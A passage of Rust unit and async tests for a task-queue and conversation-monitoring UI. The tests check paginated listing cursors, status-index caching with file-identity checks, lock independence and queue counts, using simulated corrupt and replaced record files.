25391    fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
25392        let home = tempfile::tempdir().unwrap();
25393        let ui = delta_test_ui(home.path());
25394        let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
25395        for i in 0..1000 {
25396            let mut task = Task::new(
25397                "unrelated".into(),
25398                "instruction ".repeat(256),
25399                PathBuf::from("/repo"),
25400                Source::Human,
25401            );
25402            task.id = format!("history-{i:04}");
25403            ui.queue.put(&mut task).unwrap();
25404            let id = seed_talk_at(&ui.talks, &task.id, "open");
25405            let mut talk = ui.talks.get(&id).unwrap();
25406            talk.pending = "history ".repeat(256);
25407            ui.talks.put(&mut talk).unwrap();
25408        }
25409        let mut parent = Task::new(
25410            "parent".into(),
25411            "body".into(),
25412            PathBuf::from("/repo"),
25413            Source::Agent {
25414                run: chat_id.clone(),
25415                node: crate::queue::CHAT_NODE.into(),
25416            },
25417        );
25418        parent.id = "task-parent".into();
25419        parent.runs = vec!["run-parent".into()];
25420        ui.queue.put(&mut parent).unwrap();
25421        let mut child = Task::new(
25422            "child".into(),
25423            "body".into(),
25424            PathBuf::from("/repo"),
25425            Source::Human,
25426        );
25427        child.id = "task-child".into();
25428        child.runs = vec!["run-child".into()];
25429        child.followup = Some(crate::queue::FollowUp {
25430            run: "run-parent".into(),
25431            origin_task: Some(parent.id.clone()),
25432            pr: "https://example.invalid/pr/1".into(),
25433            findings: vec![],
25434            generation: 1,
25435        });
25436        ui.queue.put(&mut child).unwrap();
25437        let mut question = Question::new(
25438            child.id.clone(),
25439            crate::conduct::NODE.into(),
25440            "seat".into(),
25441            "Continue?".into(),
25442            String::new(),
25443            vec![],
25444        );
25445        let (tasks, talks, _watches) =
25446            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25447        assert_eq!(tasks.len(), 2);
25448        assert_eq!(talks.len(), 1);
25449        assert_eq!(
25450            ui.monitor.queue_index.lock().unwrap().reparsed,
25451            0,
25452            "exact ancestry bypasses the index"
25453        );
25454        assert_eq!(
25455            crate::consult::origin_talk(&tasks, &talks, &question)
25456                .unwrap()
25457                .id,
25458            chat_id
25459        );
25460        question.run = "run-child".into();
25461        question.node = "review".into();
25462        for origin_task in [Some(parent.id.clone()), None] {
25463            child.followup.as_mut().unwrap().origin_task = origin_task;
25464            ui.queue.put(&mut child).unwrap();
25465            let (tasks, talks, _watches) =
25466                question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25467            let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
25468            let expected =
25469                crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
25470                    .unwrap();
25471            assert_eq!(actual.id, expected.id);
25472            assert!(!actual.status.open());
25473            let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
25474            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25475            // Without Unix file identity, every readable record must be
25476            // reparsed to detect same-size, same-mtime replacements safely.
25477            let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
25478            assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
25479        }
25480        child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
25481        ui.queue.put(&mut child).unwrap();
25482        std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
25483        let (tasks, talks, _watches) =
25484            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25485        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
25486        child.origin_chat = Some(chat_id.clone());
25487        ui.queue.put(&mut child).unwrap();
25488        let (tasks, talks, _watches) =
25489            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25490        assert_eq!(
25491            crate::consult::origin_talk(&tasks, &talks, &question)
25492                .unwrap()
25493                .id,
25494            chat_id
25495        );
25496        let revision = question_record_revision(&question);
25497        question.abandon("settled elsewhere");
25498        assert_ne!(revision, question_record_revision(&question));
25499        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
25500        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
25501        std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
25502        let (tasks, talks, _watches) =
25503            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25504        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
25505    }
25506
25507    #[test]
25508    fn list_cursors_freeze_membership_and_expire_explicitly() {
25509        let home = tempfile::tempdir().unwrap();
25510        let ui = delta_test_ui(home.path());
25511        std::fs::create_dir_all(ui.queue.root()).unwrap();
25512        for i in 0..40 {
25513            std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
25514        }
25515        let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
25516        assert_eq!(first.len(), STORE_PAGE_SIZE);
25517        let cursor = cursor.unwrap();
25518        std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
25519        std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
25520        let (second, _) = page_ids(
25521            &ui,
25522            false,
25523            PageQuery {
25524                before: Some(cursor.clone()),
25525            },
25526        )
25527        .unwrap();
25528        assert_eq!(second[0], "record-0023");
25529        assert!(second.iter().all(|id| !first.contains(id)));
25530        assert!(
25531            page_ids(
25532                &ui,
25533                true,
25534                PageQuery {
25535                    before: Some(cursor.clone())
25536                }
25537            )
25538            .is_err()
25539        );
25540        let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
25541        assert_eq!(fresh[0], "record-9999");
25542        ui.monitor.list_walks.lock().unwrap().clear();
25543        assert!(
25544            page_ids(
25545                &ui,
25546                false,
25547                PageQuery {
25548                    before: Some(cursor)
25549                }
25550            )
25551            .is_err()
25552        );
25553    }
25554
25555    #[tokio::test]
25556    async fn talk_pages_load_every_open_then_frozen_closed_history() {
25557        let home = tempfile::tempdir().unwrap();
25558        let ui = delta_test_ui(home.path());
25559        // Every closed conversation is newer by ID than every open conversation.
25560        for i in 0..23 {
25561            seed_talk_at(&ui.talks, &format!("20260101-000000-{i:03}"), "open");
25562        }
25563        for i in 0..45 {
25564            seed_talk_at(&ui.talks, &format!("20261019-000000-{i:03}"), "closed");
25565        }
25566        std::fs::write(ui.talks.path_of("20261020-000000-corrupt"), "broken").unwrap();
25567        let first = talks_page(
25568            State(ui.clone()),
25569            Query(PageQuery::default()),
25570            header::HeaderMap::new(),
25571        )
25572        .await
25573        .unwrap()
25574        .0;
25575        assert_eq!(
25576            first.rows.iter().filter(|row| row.status.open()).count(),
25577            23
25578        );
25579        assert_eq!(first.rows.len(), 23 + STORE_PAGE_SIZE - 1);
25580        assert!(first.rows[..23].iter().all(|row| row.status.open()));
25581        let parsed = ui
25582            .monitor
25583            .talk_parses
25584            .load(std::sync::atomic::Ordering::Relaxed);
25585        assert_eq!(
25586            parsed,
25587            first.rows.len(),
25588            "closed bodies outside this page are not restored"
25589        );
25590        let fresh = talks_page(
25591            State(ui.clone()),
25592            Query(PageQuery::default()),
25593            header::HeaderMap::new(),
25594        )
25595        .await
25596        .unwrap()
25597        .0;
25598        assert_eq!(fresh.rows.len(), first.rows.len());
25599        assert_eq!(
25600            ui.monitor
25601                .talk_parses
25602                .load(std::sync::atomic::Ordering::Relaxed),
25603            parsed
25604        );
25605        let mut seen: std::collections::HashSet<_> =
25606            first.rows.iter().map(|row| row.id.clone()).collect();
25607        // Status changes keep their original membership position until refresh.
25608        seed_talk_at(&ui.talks, "20261019-000000-000", "open");
25609        seed_talk_at(&ui.talks, "20260101-000000-000", "closed");
25610        std::fs::remove_file(ui.talks.path_of("20261019-000000-001")).unwrap();
25611        let mut next = first.next;
25612        while let Some(cursor) = next {
25613            let page = talks_page(
25614                State(ui.clone()),
25615                Query(PageQuery {
25616                    before: Some(cursor),
25617                }),
25618                header::HeaderMap::new(),
25619            )
25620            .await
25621            .unwrap()
25622            .0;
25623            assert!(page.rows.len() <= STORE_PAGE_SIZE);
25624            for row in page.rows {
25625                assert!(seen.insert(row.id), "a cursor must not repeat membership");
25626            }
25627            next = page.next;
25628        }
25629        let expected: HashSet<_> = (0..23)
25630            .map(|i| format!("20260101-000000-{i:03}"))
25631            .chain(
25632                (0..45)
25633                    .filter(|i| *i != 1)
25634                    .map(|i| format!("20261019-000000-{i:03}")),
25635            )
25636            .collect();
25637        assert_eq!(
25638            seen, expected,
25639            "the cursor walk must return every surviving ID"
25640        );
25641        let refreshed = talks_page(
25642            State(ui.clone()),
25643            Query(PageQuery::default()),
25644            header::HeaderMap::new(),
25645        )
25646        .await
25647        .unwrap()
25648        .0;
25649        assert_eq!(
25650            refreshed
25651                .rows
25652                .iter()
25653                .filter(|row| row.status.open())
25654                .count(),
25655            23
25656        );
25657        assert!(
25658            refreshed
25659                .rows
25660                .iter()
25661                .any(|row| row.id == "20261019-000000-000")
25662        );
25663        assert!(
25664            !refreshed
25665                .rows
25666                .iter()
25667                .any(|row| row.id == "20260101-000000-000")
25668        );
25669    }
25670
25671    #[test]
25672    fn talk_pages_with_only_open_rows_have_no_history_cursor() {
25673        let home = tempfile::tempdir().unwrap();
25674        let ui = delta_test_ui(home.path());
25675        for i in 0..STORE_PAGE_SIZE + 5 {
25676            seed_talk_at(&ui.talks, &format!("open-{i:03}"), "open");
25677        }
25678        let (ids, next) = page_ids(&ui, true, PageQuery::default()).unwrap();
25679        assert_eq!(ids.len(), STORE_PAGE_SIZE + 5);
25680        assert!(next.is_none());
25681    }
25682
25683    #[test]
25684    fn talk_status_header_reads_are_bounded_independently_of_transcript_size() {
25685        struct Counted<R> {
25686            inner: R,
25687            bytes: usize,
25688        }
25689        impl<R: std::io::Read> std::io::Read for Counted<R> {
25690            fn read(&mut self, buf: &mut [u8]) -> std::io::Result<usize> {
25691                let n = self.inner.read(buf)?;
25692                self.bytes += n;
25693                Ok(n)
25694            }
25695        }
25696        let home = tempfile::tempdir().unwrap();
25697        let ui = delta_test_ui(home.path());
25698        let id = seed_talk_at(&ui.talks, "header-chat", "closed");
25699        let mut chat = ui.talks.get(&id).unwrap();
25700        for size in [0, 1024 * 1024, 8 * 1024 * 1024] {
25701            chat.turns = vec![
25702                serde_json::from_value(serde_json::json!({
25703                    "who": "agent", "body": "x".repeat(size), "at": chat.updated_at,
25704                }))
25705                .unwrap(),
25706            ];
25707            for status in [talk::TalkStatus::Closed, talk::TalkStatus::Open] {
25708                chat.status = status;
25709                // Exercise the actual on-disk serializer, including its field order.
25710                let body = serde_json::to_vec_pretty(&chat).unwrap();
25711                let mut reader = Counted {
25712                    inner: body.as_slice(),
25713                    bytes: 0,
25714                };
25715                assert_eq!(read_talk_status(&mut reader), Some(status));
25716                assert!(
25717                    reader.bytes <= 1024,
25718                    "header classification read {} bytes",
25719                    reader.bytes
25720                );
25721            }
25722        }
25723        // Noncanonical field order must neither traverse a transcript nor hide
25724        // an open row. Its real status is validated by the ordinary row reader.
25725        let noncanonical = format!(
25726            r#"{{"turns":[{{"body":"{}"}}],"status":"open"}}"#,
25727            "x".repeat(1024 * 1024)
25728        );
25729        let mut reader = Counted {
25730            inner: noncanonical.as_bytes(),
25731            bytes: 0,
25732        };
25733        assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
25734        assert!(reader.bytes <= 1024);
25735        let oversized = format!(
25736            r#"{{"agent":"{}","status":"open"}}"#,
25737            "x".repeat(128 * 1024)
25738        );
25739        let mut reader = Counted {
25740            inner: oversized.as_bytes(),
25741            bytes: 0,
25742        };
25743        assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
25744        assert!(reader.bytes <= 64 * 1024);
25745    }
25746
25747    #[test]
25748    fn talk_header_classification_does_not_hold_the_queue_cursor_registry() {
25749        let home = tempfile::tempdir().unwrap();
25750        let ui = delta_test_ui(home.path());
25751        seed_talk_at(&ui.talks, "header-chat", "open");
25752        std::fs::create_dir_all(ui.queue.root()).unwrap();
25753        let (started, ready) = std::sync::mpsc::channel();
25754        let (release, wait) = std::sync::mpsc::channel();
25755        let chat_ui = ui.clone();
25756        let scan = std::thread::spawn(move || {
25757            page_ids_with(&chat_ui, true, PageQuery::default(), |ui, ids| {
25758                started.send(()).unwrap();
25759                wait.recv().unwrap();
25760                open_talk_ids(ui, ids)
25761            })
25762            .unwrap()
25763        });
25764        ready.recv_timeout(Duration::from_secs(2)).unwrap();
25765        let (finished, result) = std::sync::mpsc::channel();
25766        let queue = std::thread::spawn(move || {
25767            finished
25768                .send(page_ids(&ui, false, PageQuery::default()).is_ok())
25769                .unwrap();
25770        });
25771        let completed = result.recv_timeout(Duration::from_secs(2));
25772        // Release and join both workers even if the regression returns.
25773        release.send(()).unwrap();
25774        scan.join().unwrap();
25775        queue.join().unwrap();
25776        assert!(
25777            completed.unwrap(),
25778            "queue paging must not wait for chat header I/O"
25779        );
25780    }
25781
25782    #[test]
25783    fn talk_status_projection_does_not_cache_files_changed_during_read() {
25784        let home = tempfile::tempdir().unwrap();
25785        let ui = delta_test_ui(home.path());
25786        let ids = vec!["changing-chat".to_owned()];
25787        seed_talk_at(&ui.talks, &ids[0], "closed");
25788        assert!(open_talk_ids(&ui, &ids).is_empty());
25789        seed_talk_at(&ui.talks, &ids[0], "open");
25790        let open = open_talk_ids_with(&ui, &ids, cfg!(unix), |path| {
25791            let value: serde_json::Value =
25792                serde_json::from_slice(&std::fs::read(path).unwrap()).unwrap();
25793            // Replace the file after parsing, before its identity is checked again.
25794            seed_talk_at(&ui.talks, &ids[0], "closed");
25795            serde_json::from_value(value["status"].clone()).ok()
25796        });
25797        assert!(open.contains(&ids[0]));
25798        assert!(
25799            ui.monitor
25800                .talk_status_index
25801                .lock()
25802                .unwrap()
25803                .records
25804                .is_empty()
25805        );
25806        assert!(open_talk_ids(&ui, &ids).is_empty());
25807        assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, 3);
25808    }
25809
25810    #[test]
25811    fn talk_status_projection_rereads_when_metadata_cannot_prove_identity() {
25812        let home = tempfile::tempdir().unwrap();
25813        let ui = delta_test_ui(home.path());
25814        let ids = vec!["same-stamp-chat".to_owned()];
25815        seed_talk_at(&ui.talks, &ids[0], "open");
25816        // Model a non-Unix metadata collision deterministically: the old
25817        // classification has a fingerprint equal to the current file's.
25818        ui.monitor.talk_status_index.lock().unwrap().records.insert(
25819            ids[0].clone(),
25820            (
25821                file_identity(&ui.talks.path_of(&ids[0])).unwrap(),
25822                Some(talk::TalkStatus::Closed),
25823            ),
25824        );
25825        let open = open_talk_ids_with(&ui, &ids, false, |path| {
25826            std::fs::File::open(path).ok().and_then(read_talk_status)
25827        });
25828        assert!(
25829            open.contains(&ids[0]),
25830            "an untrusted cache hit must still read the current header"
25831        );
25832        assert!(
25833            ui.monitor
25834                .talk_status_index
25835                .lock()
25836                .unwrap()
25837                .records
25838                .is_empty()
25839        );
25840        seed_talk_at(&ui.talks, &ids[0], "closed");
25841        assert!(
25842            open_talk_ids_with(&ui, &ids, false, |path| {
25843                std::fs::File::open(path).ok().and_then(read_talk_status)
25844            })
25845            .is_empty()
25846        );
25847        let index = ui.monitor.talk_status_index.lock().unwrap();
25848        assert_eq!(index.parses, 2);
25849        assert!(
25850            index.records.is_empty(),
25851            "untrusted fingerprints must never publish cache entries"
25852        );
25853    }
25854
25855    #[test]
25856    fn talk_rows_cache_shrinks_without_reparsing_open_rows() {
25857        let home = tempfile::tempdir().unwrap();
25858        let ui = delta_test_ui(home.path());
25859        let headers = header::HeaderMap::new();
25860        seed_talk_at(&ui.talks, "open-chat", "open");
25861        seed_talk_at(&ui.talks, "closed-chat", "closed");
25862        talk_rows(
25863            &ui,
25864            vec!["open-chat".into(), "closed-chat".into()],
25865            &headers,
25866        );
25867        {
25868            let mut index = ui.monitor.talk_index.lock().unwrap();
25869            let closed = index["closed-chat"].1.clone();
25870            for i in 0..1000 {
25871                index.insert(
25872                    format!("cached-closed-{i}"),
25873                    (
25874                        file_identity(&ui.talks.path_of("closed-chat")).unwrap(),
25875                        closed.clone(),
25876                    ),
25877                );
25878            }
25879        }
25880        assert_eq!(
25881            talk_rows(&ui, vec!["closed-chat".into()], &headers).len(),
25882            1
25883        );
25884        assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 2);
25885        assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
25886        assert_eq!(
25887            ui.monitor
25888                .talk_parses
25889                .load(std::sync::atomic::Ordering::Relaxed),
25890            2
25891        );
25892        {
25893            let mut index = ui.monitor.talk_index.lock().unwrap();
25894            let open = index["open-chat"].1.clone();
25895            for i in 0..1000 {
25896                index.insert(
25897                    format!("cached-open-{i}"),
25898                    (
25899                        file_identity(&ui.talks.path_of("open-chat")).unwrap(),
25900                        open.clone(),
25901                    ),
25902                );
25903            }
25904        }
25905        // Even when open rows exceed the bound, keep the currently requested rows.
25906        assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
25907        assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 1);
25908        assert_eq!(
25909            ui.monitor
25910                .talk_parses
25911                .load(std::sync::atomic::Ordering::Relaxed),
25912            2
25913        );
25914    }
25915
25916    #[test]
25917    fn talk_status_projection_reuses_large_indexes_and_prunes_deleted_files() {
25918        let home = tempfile::tempdir().unwrap();
25919        let ui = delta_test_ui(home.path());
25920        std::fs::create_dir_all(ui.talks.root()).unwrap();
25921        let ids: Vec<_> = (0..1050).map(|i| format!("chat-{i:04}")).collect();
25922        for id in &ids {
25923            std::fs::write(
25924                ui.talks.path_of(id),
25925                r#"{"status":"closed","turns":[{"body":"ignored"}]}"#,
25926            )
25927            .unwrap();
25928        }
25929        assert!(open_talk_ids(&ui, &ids).is_empty());
25930        assert_eq!(
25931            ui.monitor.talk_status_index.lock().unwrap().parses,
25932            ids.len()
25933        );
25934        assert!(open_talk_ids(&ui, &ids).is_empty());
25935        let reused = if cfg!(unix) { ids.len() } else { 2 * ids.len() };
25936        assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, reused);
25937        std::fs::write(ui.talks.path_of(&ids[0]), r#"{"status":"open"}"#).unwrap();
25938        std::fs::write(ui.talks.path_of(&ids[1]), "broken").unwrap();
25939        assert_eq!(
25940            open_talk_ids(&ui, &ids),
25941            std::collections::HashSet::from([ids[0].clone()])
25942        );
25943        let parsed = ui.monitor.talk_status_index.lock().unwrap().parses;
25944        let refreshed = if cfg!(unix) { 2 } else { ids.len() };
25945        assert_eq!(parsed, reused + refreshed);
25946        open_talk_ids(&ui, &ids);
25947        assert_eq!(
25948            ui.monitor.talk_status_index.lock().unwrap().parses,
25949            parsed + if cfg!(unix) { 0 } else { ids.len() },
25950            "only reliable file identity permits caching, including unreadable rows"
25951        );
25952        std::fs::remove_file(ui.talks.path_of(&ids[0])).unwrap();
25953        assert!(open_talk_ids(&ui, &ids[1..]).is_empty());
25954        assert!(
25955            !ui.monitor
25956                .talk_status_index
25957                .lock()
25958                .unwrap()
25959                .records
25960                .contains_key(&ids[0])
25961        );
25962        assert!(
25963            ui.monitor.talk_index.lock().unwrap().is_empty(),
25964            "classification never caches bodies"
25965        );
25966    }
25967
25968    #[tokio::test]
25969    async fn stats_queue_index_counts_only_fresh_readable_statuses() {
25970        let home = tempfile::tempdir().unwrap();
25971        let ui = delta_test_ui(home.path());
25972        let mut task = Task::new(
25973            "task".into(),
25974            "body".into(),
25975            PathBuf::from("/repo"),
25976            Source::Human,
25977        );
25978        ui.queue.put(&mut task).unwrap();
25979        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
25980        let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
25981        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
25982        let expected = parsed + usize::from(!cfg!(unix));
25983        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
25984        task.status = crate::queue::TaskStatus::Held;
25985        ui.queue.put(&mut task).unwrap();
25986        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
25987        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
25988        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
25989        ui.queue.put(&mut task).unwrap();
25990        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
25991        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
25992        assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
25993    }
25994
25995    #[tokio::test]
25996    async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
25997        let home = tempfile::tempdir().unwrap();
25998        let ui = delta_test_ui(home.path());
25999        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
26000        let before = health(State(ui.clone())).await.unwrap().0;
26001        ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
26002        let after = health(State(ui)).await.unwrap().0;
26003        assert_ne!(before.notifications_rev, after.notifications_rev);
26004        assert_eq!(after.notifications_unread, 1);
26005    }
26006
26007    #[tokio::test]
26008    async fn list_pages_bound_history_and_keep_dependency_evidence() {
26009        let home = tempfile::tempdir().unwrap();
26010        let ui = delta_test_ui(home.path());
26011        let queue = &ui.queue;
26012        let talks = &ui.talks;
26013        for i in 0..1000 {
26014            let id = format!("20261019-{i:06}-page");
26015            let mut task = Task::new(
26016                "task".into(),
26017                "instruction".repeat(100),
26018                PathBuf::from("/repo/magi"),
26019                Source::Human,
26020            );
26021            task.id = id.clone();
26022            if i == 0 {
26023                task.status = crate::queue::TaskStatus::Held;
26024            } else if i == 999 {
26025                task.status = crate::queue::TaskStatus::Blocked;
26026                task.blocked_by = vec!["20261019-000000-page".into()];
26027            }
26028            queue.put(&mut task).unwrap();
26029            seed_talk_at(talks, &id, "closed");
26030        }
26031        let page = serde_json::to_value(
26032            queue_page(State(ui.clone()), Query(PageQuery::default()))
26033                .await
26034                .unwrap()
26035                .0,
26036        )
26037        .unwrap();
26038        assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
26039        assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
26040        assert!(
26041            !page["rows"][0]["stuck_roots"]
26042                .as_array()
26043                .unwrap()
26044                .is_empty()
26045        );
26046        let cursor = page["next"].as_str().unwrap();
26047        let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
26048            .as_str()
26049            .unwrap();
26050        // Deleting an already enumerated file cannot shift or repeat a page.
26051        std::fs::remove_file(queue.path_of(last_id)).unwrap();
26052        let next = serde_json::to_value(
26053            queue_page(
26054                State(ui.clone()),
26055                Query(PageQuery {
26056                    before: Some(cursor.into()),
26057                }),
26058            )
26059            .await
26060            .unwrap()
26061            .0,
26062        )
26063        .unwrap();
26064        assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
26065        assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
26066        let chats = serde_json::to_value(
26067            talks_page(
26068                State(ui.clone()),
26069                Query(PageQuery::default()),
26070                header::HeaderMap::new(),
26071            )
26072            .await
26073            .unwrap()
26074            .0,
26075        )
26076        .unwrap();
26077        assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
26078        assert!(chats["rows"][0].get("pending").is_none());
26079        assert!(chats["rows"][0].get("turn_bodies_md").is_none());
26080        let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
26081        assert_eq!(counts["held"], 1);
26082        assert_eq!(counts["blocked"], 1);
26083        assert_eq!(counts["queued"], 997);
26084    }
26085
26086    #[test]
26087    fn queue_index_observes_external_replacement_deletion_and_corruption() {
26088        let dir = tempfile::tempdir().unwrap();
26089        let ui = delta_test_ui(dir.path());
26090        let mut task = Task::new(
26091            "task".into(),
26092            "body".into(),
26093            PathBuf::from("/repo"),
26094            Source::Human,
26095        );
26096        task.runs = vec!["run-a".into()];
26097        ui.queue.put(&mut task).unwrap();
26098        assert!(ui.find_task_for_run("run-a").unwrap().is_some());
26099        task.runs = vec!["run-b".into()];
26100        let path = ui.queue.path_of(&task.id);
26101        let modified = path.metadata().unwrap().modified().unwrap();
26102        let replacement = path.with_extension("replacement");
26103        let bytes = serde_json::to_vec_pretty(&task).unwrap();
26104        assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
26105        std::fs::write(&replacement, &bytes).unwrap();
26106        std::fs::File::options()
26107            .write(true)
26108            .open(&replacement)
26109            .unwrap()
26110            .set_times(std::fs::FileTimes::new().set_modified(modified))
26111            .unwrap();
26112        std::fs::rename(&replacement, &path).unwrap();
26113        assert!(ui.find_task_for_run("run-a").unwrap().is_none());
26114        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
26115        std::fs::write(&path, "broken").unwrap();
26116        assert!(ui.find_task_for_run("run-b").is_err());
26117        std::fs::write(&path, bytes).unwrap();
26118        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
26119        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
26120        assert!(ui.find_task_for_run("run-b").unwrap().is_none());
26121    }
26122
26123    #[tokio::test]
26124    async fn conversation_core_is_independent_of_unreadable_related_history() {
26125        let home = tempfile::tempdir().unwrap();
26126        let ui = delta_test_ui(home.path());
26127        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
26128        std::fs::create_dir_all(ui.queue.root()).unwrap();
26129        std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
26130        let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
26131            .await
26132            .unwrap();
26133        assert_eq!(core.talk.id, id);
26134        assert!(talk_sections(State(ui), Path(id)).await.is_ok());
26135    }
26136
26137    #[test]
26138    fn conversation_core_ignores_worker_store_lock_and_busy_secondary_pool() {
26139        let home = tempfile::tempdir().unwrap();
26140        let ui = delta_test_ui(home.path());
26141        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
26142        let directory = home.path().join("workers/jobs/abcdef");
26143        std::fs::create_dir_all(&directory).unwrap();
26144        let job = crate::worker::Job {
26145            id: "abcdef".into(),
26146            sequence: 1,
26147            kind: "chat".into(),
26148            key: id.clone(),
26149            payload: serde_json::json!({ "talk": id }),
26150            generation: "test".into(),
26151            version: None,
26152            status: crate::worker::Status::Running,
26153            result: None,
26154            pid: None,
26155            created_at: 0,
26156            finished_at: None,
26157        };
26158        std::fs::write(
26159            directory.join("job.json"),
26160            serde_json::to_vec(&job).unwrap(),
26161        )
26162        .unwrap();
26163        let live = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
26164        let store =
26165            crate::worker::execution_lease_for_test(&home.path().join("workers/store.lock"));
26166        let runtime = tokio::runtime::Builder::new_current_thread()
26167            .enable_all()
26168            .max_blocking_threads(1)
26169            .build()
26170            .unwrap();
26171        runtime.block_on(async {
26172            let (release, held) = std::sync::mpsc::channel();
26173            let (started, ready) = tokio::sync::oneshot::channel();
26174            let occupied = tokio::task::spawn_blocking(move || {
26175                started.send(()).unwrap();
26176                held.recv().unwrap();
26177            });
26178            ready.await.unwrap();
26179            let secondary = tokio::spawn(talk_sections(State(ui.clone()), Path(id.clone())));
26180            let bulk = ui
26181                .monitor
26182                .bulk_slots
26183                .clone()
26184                .acquire_many_owned(2)
26185                .await
26186                .unwrap();
26187            let result = tokio::time::timeout(
26188                Duration::from_secs(2),
26189                talk_core(State(ui.clone()), Path(id.clone())),
26190            )
26191            .await;
26192            // Release all blockers before assertions, including on a regression.
26193            drop(store);
26194            drop(bulk);
26195            release.send(()).unwrap();
26196            occupied.await.unwrap();
26197            let _ = secondary.await.unwrap().unwrap();
26198            let Json(core) = result
26199                .expect("transcript must bypass secondary work and the worker store lock")
26200                .unwrap();
26201            assert!(
26202                core.thinking,
26203                "read-only observation retains live worker state"
26204            );
26205            assert_eq!(core.talk.id, id);
26206            let admission_ui = ui.clone();
26207            let (release, held) = std::sync::mpsc::channel();
26208            let (started, ready) = tokio::sync::oneshot::channel();
26209            let admission = std::thread::spawn(move || {
26210                let _lock = admission_ui.talk_turns.lock().unwrap();
26211                started.send(()).unwrap();
26212                held.recv().unwrap();
26213            });
26214            ready.await.unwrap();
26215            let result = tokio::time::timeout(
26216                Duration::from_secs(2),
26217                talk_core(State(ui.clone()), Path(id.clone())),
26218            )
26219            .await;
26220            release.send(()).unwrap();
26221            admission.join().unwrap();
26222            assert!(
26223                result
26224                    .expect("display must not wait behind local admission")
26225                    .unwrap()
26226                    .0
26227                    .thinking
26228            );
26229            assert!(ui.is_thinking(&id));
26230            assert!(ui.is_thinking_observed(&id));
26231            drop(live);
26232            assert!(
26233                !ui.is_thinking_observed(&id),
26234                "a finished lease no longer appears live"
26235            );
26236            assert!(!ui.is_thinking(&id));
26237            let _turn = ui.begin_talk_turn(&id).unwrap().unwrap();
26238            assert!(
26239                ui.is_thinking_observed(&id),
26240                "local admission remains visible"
26241            );
26242        });
26243    }
26244
26245    #[tokio::test]
26246    async fn conversation_core_defers_store_links_but_preserves_markdown_and_provenance() {
26247        let home = tempfile::tempdir().unwrap();
26248        let ui = delta_test_ui(home.path());
26249        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
26250        let mut task = Task::new(
26251            "Referenced task".into(),
26252            "Unrelated instruction history".repeat(1024),
26253            home.path().into(),
26254            Source::Human,
26255        );
26256        task.id = "20261019-000000-abcd".into();
26257        ui.queue.put(&mut task).unwrap();
26258        let mut conversation = ui.talks.get(&id).unwrap();
26259        conversation.turns.push(talk::Turn {
26260            sender: Some(talk::Sender::Persona),
26261            who: talk::Who::Agent,
26262            body: "**Useful transcript** task@abcd and R2-1-3\n\n| Reference |\n| --- |\n| `abcd` |\n\n- task@abcd\n\n```\ntask@abcd\n```".into(),
26263            at: conversation.created_at,
26264            attachments: Vec::new(),
26265            usage: None,
26266            breaks: None,
